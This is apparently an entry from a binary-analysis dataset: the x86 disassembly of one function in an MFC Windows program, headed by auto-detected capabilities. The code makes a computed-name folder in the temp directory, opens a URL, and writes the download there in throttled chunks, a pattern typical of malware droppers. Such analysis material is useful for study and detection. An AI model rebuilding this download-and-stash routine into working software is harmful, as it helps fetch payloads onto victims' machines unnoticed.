Function at 0x401340
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402158
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3b8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x14]
push eax
push 0x40408c
push ecx
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::MakeReverse
push 0x404088
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Find
lea edx, [ebp - 0x1c]
push eax
push edx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
lea ecx, [ebp - 0x14]
push eax
push 0x40408c
push ecx
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00401e10
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::MakeReverse
lea edx, [ebp - 0x1c]
push 4
push edx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00401e10
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::MakeLower
mov eax, dword [ebp - 0x18]
push 0x404080
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
je 0x401436
push 0x404080
lea ecx, [ebp - 0x14]
call fcn.00401df8
push 0x4041c4
push 0x404088
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push 0x40407c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push 0x404078
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push 0x404074
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push 0x404070
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push 0x40406c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push 0x404068
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push 0x404064
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
push 0x4041c4
push str.____:_
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Replace
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x143]
mov byte [ebp - 0x144], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x144]
push ecx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x144]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, ebx
jle 0x401531
mov al, 0x5c
cmp byte [ebp + ecx - 0x144], al
je 0x401529
dec ecx
cmp ecx, ebx
jg 0x401519
jmp 0x401531
mov byte [ebp + ecx - 0x143], 0
push 0x78
push 0x63
call fcn.00401300
add esp, 8
push eax
push 0x79
push 0x62
call fcn.00401300
add esp, 8
push eax
push 0x7a
push 0x61
call fcn.00401300
add esp, 8
lea edx, [ebp - 0x144]
push eax
push edx
lea eax, [ebp - 0x144]
push str._s_c_c_c_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea ecx, [ebp - 0x144]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x144]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x144]
push edx
push 0x40408c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x40]
push ebx
push ebx
push ebx
push ebx
push 1
push ebx
call sub.MFC42.DLL_CInternetSession::CInternetSession
mov ecx, dword [ebp + 8]
push ebx
push ebx
push 1
push 1
push ecx
lea ecx, [ebp - 0x40]
mov dword [ebp + 0xc], 1
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CInternetSession::OpenURL
mov esi, eax
test esi, esi
je 0x401741
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFile::CFile
push 0
lea edx, [ebp - 0x144]
push 0x1001
push edx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CFile::Open
test eax, eax
jne 0x401666
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.00401dd4
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00401dce
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00401e10
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0
call fcn.00401e10
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call fcn.00401e10
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x3c4]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi]
lea ecx, [ebp - 0x3c4]
push 0x200
push ecx
mov ecx, esi
call dword [eax + 0x3c]
test eax, eax
jle 0x4016b0
lea edx, [ebp - 0x3c4]
push eax
push edx
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFile::Write
inc ebx
cmp ebx, 0x32
jle 0x40167b
push 2
xor ebx, ebx
call edi
jmp 0x40167b
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFile::Close
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x54]
test esi, esi
je 0x4016cc
mov edx, dword [esi]
push 1
mov ecx, esi
call dword [edx + 4]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.00401dd4
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 5
call sub.MFC42.DLL_CInternetSession::Close
test esi, esi
jne 0x4016fb
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00401dce
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00401e10
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0
call fcn.00401e10
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call fcn.00401e10
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
xor esi, esi
jmp 0x4016db